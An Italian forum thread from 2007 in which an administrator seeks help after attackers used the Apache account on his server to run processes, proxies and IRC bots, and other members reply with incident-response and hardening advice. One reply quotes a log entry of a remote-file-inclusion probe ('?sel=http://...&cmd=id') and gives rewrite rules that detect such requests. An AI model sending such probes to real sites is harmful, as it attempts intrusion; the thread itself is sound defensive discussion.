PDA

View Full Version : Sicurezza Server Bucato


SergioL68
21-06-2007, 11:26
Qualche consiglio ragazzi per cortesia, se non ve la sentite un link a qualche forum inglese anche se non sta molto bene qui.

In pratica hanno accesso al server tramite l'account apache, hanno scritto su delle dir con permessi 777 che ho immediatamente "piallato" e corretto.

Ora ci sono dei processi in esecuzione (sh chiamati da apache) che non riesco a "killare", cosa posso fare ?

W.S.
21-06-2007, 11:34
Se hai accesso fisico alla macchina, non è troppo sensibile... insomma se puoi farlo, stacca il/i cavo/i di rete e lavoraci con calma.

Sempre se puoi, ferma apache e non avviarlo finchè non l'hai aggiornato.

Altrimenti (o comunque):
netstat -nalp e vedi se ci sono connessioni su quei processi, se si, prova a fermarle con regole in iptables (INPUT)

poi con calma vedi i log e cosa è successo

EDIT:
Una volta che hai chiuso eventuali connessioni, organizza la sospensione del servizio, stacca la macchina e studiatela con calma.
verifica i log, dai una bella passata di chkrootkit, verifica le versioni dei software installati tenta di capire cosa è stato fatto e assicurati che non possa + succedere. Se ne hai la possibilità megli se ripristini il sistema (da immagine o backup) precedenti in modo da essere sicuro di non avere rootkit/backdoor/simili installate.

SergioL68
21-06-2007, 11:41
Se hai accesso fisico alla macchina, non è troppo sensibile... insomma se puoi farlo, stacca il/i cavo/i di rete e lavoraci con calma.

Sempre se puoi, ferma apache e non avviarlo finchè non l'hai aggiornato.

Altrimenti (o comunque):
netstat -nalp e vedi se ci sono connessioni su quei processi, se si, prova a fermarle con regole in iptables (INPUT)

poi con calma vedi i log e cosa è successoGrazie mille, la macchina deve lavorare purtroppo e non posso staccarla, tra l'altro è in una server farm in Inghilterra.

Più che filtrare i processi (hanno messo in condivisione dei file, film, stupidaggini del geenre) volevo eliminare il processo che hanno caricato.

Sembra lo abbiano caricato e mandato in esecuzione dal web.

Non conosci per caso un modo sicuro per uccidere un processo ?

W.S.
21-06-2007, 11:44
Ora ci sono dei processi in esecuzione (sh chiamati da apache) che non riesco a "killare", cosa posso fare ?

In che senso non riesci? Vengono riavviate immediatamente? Non succede nulla? Ti ritorna qualche errore?

W.S.
21-06-2007, 11:55
questo potrebbe aiutarti:
http://www.linuxquestions.org/questions/showthread.php?t=561867

SergioL68
21-06-2007, 11:55
In che senso non riesci? Vengono riavviate immediatamente? Non succede nulla? Ti ritorna qualche errore?Il processo sembra in effetti non essere ucciso, ma probabilmente viene ricaricato immediatamente.
sh un file che non trovo neppure, chiamato da apache, non vorrei mai che fosse un ssh.

W.S.
21-06-2007, 12:01
vedi tramite ps che abbia pid diversi dopo ogni kill -9
sh immagino sia /bin/sh credo usino sh come interprete a qualche script..
ora devo staccare, torno nel pomeriggio :)

SergioL68
21-06-2007, 12:22
Ok, fatto fuori, era un altro processo lanciato in perl tramite l'apache che lo richiamava.

Ora vediamo se trovano altri buchi.... :mbe:




Dimenticavo, Grazie ;)

W.S.
21-06-2007, 14:05
figurati ;)

Per curiosità, il software installato dagli attaccanti rendeva disponibile materiale (video/mp3/warez) ad un canale irc? Ti hanno per caso lasciato i sorgenti da qualche parte?

stefanoxjx
21-06-2007, 15:54
Deve essere una cosa simile a quella che è capitata a me.
Prova a vedere nella discussione che avevo aperto a suo tempo. (http://www.hwupgrade.it/forum/showthread.php?t=1424203)

Ciao.

W.S.
21-06-2007, 16:00
Deve essere una cosa simile a quella che è capitata a me.
Prova a vedere nella discussione che avevo aperto a suo tempo. (http://www.hwupgrade.it/forum/showthread.php?t=1424203)

Ciao.

esatto, volevo capire se sono gli stessi :)

stefanoxjx
21-06-2007, 16:29
esatto, volevo capire se sono gli stessi :)

L'avevo intuito :D

W.S.
21-06-2007, 16:33
L'avevo intuito :D

hehe

darkbasic
21-06-2007, 20:15
L'avevo intuito :D
Ci credi che ho pensato subito a te appena ho letto il topic? :D

stefanoxjx
21-06-2007, 21:47
Ci credi che ho pensato subito a te appena ho letto il topic? :D

Assolutamente SI!!! :D

SergioL68
22-06-2007, 03:38
Deve essere una cosa simile a quella che è capitata a me.
Prova a vedere nella discussione che avevo aperto a suo tempo. (http://www.hwupgrade.it/forum/showthread.php?t=1424203)

Ciao.Si, cosa molto simile, io non ho FlatNuke, ma uso vbulletin con diversi mods ed ho alcuni e-commerce sul server, è una situazione piuttosto delicata, qui hanno installato proxy, IRC EggDrop, processi cron, fake apache ed altre cosette.
Riesco a fermare i processi e credo di avere pulito tutto, ma non capisco da dove sono entrati.
Vorrei capire quello per correggerlo e fare in modo che la cosa non si ripeta.

cionci
22-06-2007, 07:49
Sicuramente se sono riusciti ad entrare in quel modo, avranno anche pulito i vari log...
Prova a guardare il log di apache...

Che tipo di mod hai installato per vbulletin...qualsiasi mod che esegua qualche processo locale può essere l'indiziata...a meno che non abbiano sfruttato qualche exploit di Apache o MySQL, che versioni sono entrambi ?

W.S.
22-06-2007, 08:35
Pure io credo siano entrati da qualche bug nelle applicazioni web, scarterei l'ipotesi di un attacco diretto ad apache (anche se possibile, la ritengo meno probabile). Contando che l'utente utilizzato è apache, scarterei anche l'attacco al db o ad altri demoni.

Oltre ai log dai pure un'occhio ai db, potrebbe esserci qualche record "sporcato" dall'attacco, magari riesci a farti un'idea del modulo sfruttato. Certo non sarà facilissimo trovarlo (se c'è) visto che avrai parecchi record immagino ma penso almeno un tentativo vada fatto.

Consiglio pure di verificare che i moduli e le applicazioni web siano ancora le stesse che hai installato, è probabile che abbiano installato qualche backdoor (anche una stupidissima funzione php).

gurutech
22-06-2007, 09:09
Qualche consiglio ragazzi per cortesia, se non ve la sentite un link a qualche forum inglese anche se non sta molto bene qui.


ciao,
a me tempo fa sono entrati da una pagina php tramite un cross site scripting.
da allora sto molto più attento al codice che scrivo, ed inoltre ho messo apache in chroot con questa modifica ad httpd.conf

RewriteEngine on
RewriteLog /logs/rewrite.log
RewriteLogLevel 9
RewriteCond %{THE_REQUEST} php[^\ ]*(http|%68|%74|%70|%48|%54|%50) [NC]
RewriteRule . http://www.fuckyou.com/ [R]
RewriteCond %{THE_REQUEST} [?][^\ ]*(http|%68|%74|%70|%48|%54|%50) [NC]
RewriteRule . http://www.fuckyou.com/ [R]
RewriteCond %{THE_REQUEST} [?][^\ ]*([:][/][/]|%3a%2f%2f) [NC]
RewriteRule . http://www.fuckyou.com/ [R]


adesso quando fanno certe visitine nel log succede questo:

81.208.36.87 - - [19/Jun/2007:10:42:36 +0200] [www.gurutech.it/sid#8126750][rid#85534a8/initial] (2) init rewrite engine with requested uri /index.php
81.208.36.87 - - [19/Jun/2007:10:42:36 +0200] [www.gurutech.it/sid#8126750][rid#85534a8/initial] (3) applying pattern '.' to uri '/index.php'
81.208.36.87 - - [19/Jun/2007:10:42:36 +0200] [www.gurutech.it/sid#8126750][rid#85534a8/initial] (4) RewriteCond: input='GET /index.php?sel=http://busca.uol.com.br/uol/index.html?&cmd=id HTTP/1.1' pattern='php[^\]*(http|%68|%74|%70|%48|%54|%50)' [NC] => matched
81.208.36.87 - - [19/Jun/2007:10:42:36 +0200] [www.gurutech.it/sid#8126750][rid#85534a8/initial] (2) rewrite '/index.php' ->'http://www.fuckyou.com/'


inoltre ho riscritto index.php in modo da accettare solo file che dico io

$lista=file("/listafile",FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);

$sel=$_GET['sel']
or $sel="start";
if ( ! in_array($sel,$lista) ) {
$sel="start";
}

darkbasic
22-06-2007, 10:25
adesso quando fanno certe visitine nel log succede questo
Troppo bello!!! :D :rotfl: :rotfl: :rotfl:

SergioL68
22-06-2007, 10:56
Bene... o male... , ma in alcuni file di log sono riportati alcuni riferimenti a files scaricati da un sito italianissimo di undergraund dove si vantano di non essere mai stati presi, mi sa che qualche d'uno qua si fa male con una denuncia :asd:

Qualche d'uno che è disposto ad aiutarmi con i file di log ?

W.S.
22-06-2007, 11:07
a disposizione (ovviamente non devi avere fretta, ci guarderò nei tempi liberi) contattami in pvt se ti va.

x gurutech: bella :D, il problema è che non conviene fare un rewrite a quel sito se si usano framework con moduli... c'è sempre il rischio di qualche falso-positivo ;) meglio rewrite su una pagina che spiega che succede.

darkbasic
22-06-2007, 11:24
a disposizione (non mandarlo alla mail che ho in sign)

SergioL68
22-06-2007, 18:42
Ok, ho sospeso perl, python e mod_rewrite, ma continuano (sempre user apache) a scrivere in tmp e var/tmp per mandare in esecuzione il loro codice.

Come si può limitare l'apache a non scrivere fuori della dir stabilita?




P.S. Vi invio la mail a breve... è proprio curioso questo fatto.

W.S.
22-06-2007, 19:03
Ok, ho sospeso perl, python e mod_rewrite, ma continuano (sempre user apache) a scrivere in tmp e var/tmp per mandare in esecuzione il loro codice.

Come si può limitare l'apache a non scrivere fuori della dir stabilita?


dovresti mettere apache in chroot (tipo questo http://www.faqs.org/docs/securing/chap29sec254.html) non ho controllato esattamente la validità del link, comunque se ne trovano parecchi.
La cosa migliore comunque sarebbe capire come attaccano visto che sono in grado di eseguire codice arbitrario.

Mr.Bano
22-06-2007, 19:13
quoto W.S... come consiglio generale stacca la macchina, metti in chroot apache, ricontrolla il codice che gira, se hai roba standard occhiatina agli ultimi exploit noti, via tutto il superfuo, non dovrebbe girare nulla più dell' indispensabile e blindala bene, esistono anche appositi tools che al limite ti possono aiutare nell' operazione.

SergioL68
23-06-2007, 00:01
quoto W.S... come consiglio generale stacca la macchina, metti in chroot apache, ricontrolla il codice che gira, se hai roba standard occhiatina agli ultimi exploit noti, via tutto il superfuo, non dovrebbe girare nulla più dell' indispensabile e blindala bene, esistono anche appositi tools che al limite ti possono aiutare nell' operazione.Purtroppo non posso staccare la macchina, ci sono dei siti che devono essere operativi ne "ricontrollare" sempicemente il codice che gira, ci sono giga e giga di dati e siti, devo cercare di capire che exploit hanno usato per correggere la situazione.

SergioL68
23-06-2007, 00:03
dovresti mettere apache in chroot (tipo questo http://www.faqs.org/docs/securing/chap29sec254.html) non ho controllato esattamente la validità del link, comunque se ne trovano parecchi.
La cosa migliore comunque sarebbe capire come attaccano visto che sono in grado di eseguire codice arbitrario.Nel file che ti ho mandato, il file di log errori apache si vede che si collegano e lanciano comandi, ma non so come.

E' possibile che hanno sovrascritto dei file immagine con del codice che viene caricato ogni volta che questi file vengono visti dai visitatori ? Sto vaneggiando ?

Mr.Bano
23-06-2007, 05:35
Si scusami, spesso rispondo in fretta e leggendo solo alcuni messaggi.
Se sei fisicamente lontano è un pò più problematico...anzi se ce ne fosse la possibilità farei fare il lavoro direttamente a qualcun altro in locale :D magari spostando momentaneamente tutto su dei mirrors.
Bisognerebbe riuscire a preventivare una rete sicura (anche se comunque è impossibile) perchè una volta compromessa non è sempre facile ripristinarla.
Quindi saltando a piè pari tutti questi discorsi..vediamo un paio di cosette.
Comunque tanto per iniziare a parte gli utenti a cui veramente serve una shell gli altri dovrebbero avere /bin/false di default.
Poi ti hanno caricato un vagone di cialtronate (warez,musica,eggdrops-->d'oh!) facilmente rintracciabili, sinomino di non professionalità.Probabilmente non passeranno nemmeno per proxy anonimi e quindi facilmente rintracciabili e ci saranno logs di qua e di là (trallallerolallalà).
Detto questo, visto il modo di agire su due piedi è solo una ragazzata fatta sfruttando codice pubblico.Controlla i bugs noti di CMS o qualsiasi altra cosa "standard" che ti gira..Utilizza tu stesso anche qualche scanner di vulnerabilità (compreso quelli specifici per il web) per il check up.
Tieni sotto controllo i files di logs (se fossi in locale ti suggererei un logging stealth).Usa un sistema di recapito mail, ma imposta una cosa decente o ti ritrovi sommerso di falsi positivi.
Molto importante tenere sotto controllo l' integrità dei files.Un IDS sarebbe da mettere ancora prima che la macchina vada in produzione a mio avviso, ma freghiamocene ed è sempre meglio che non averlo :)
Sottointeso che visto che gestisci da remoto devi lavorare solo su protocollo crittografato.

In ogni caso ora la rete è già in piedi e non ho idea di come sia strutturata ma è molto importante progettarla pensando sempre alla situazione peggiore che si potrebbe verificare e cercando quindi di farla in modo tale che venga compromesso il minor numero di servizi/macchine possibili.

EDIT: se scrivo pagliacciate sono ampliamente scusato, io a quest' ora non è che mi sia appena alzato..devo ancora andare a letto! :D

W.S.
23-06-2007, 09:03
Nel file che ti ho mandato, il file di log errori apache si vede che si collegano e lanciano comandi, ma non so come.
mmm, non mi è ancora arrivato nulla... ti rimando l'indirizzo, magari ho sbagliato a scrivere.

E' possibile che hanno sovrascritto dei file immagine con del codice che viene caricato ogni volta che questi file vengono visti dai visitatori ? Sto vaneggiando ?

Nono, non vaneggi, è assolutamente probabile, è quello che intendevo dicendo di controllare se ti hanno installato qualche backdoor, verifica che i file siano ancora quelli, hai un backup dell'applicazione? se si confronta l'md5 dei file (anche le immagini e i file binari)

cionci
02-07-2007, 08:42
Novità ?

W.S.
02-07-2007, 09:33
Novità ?

bho, non mi è ancora arrivata la mail con i log :D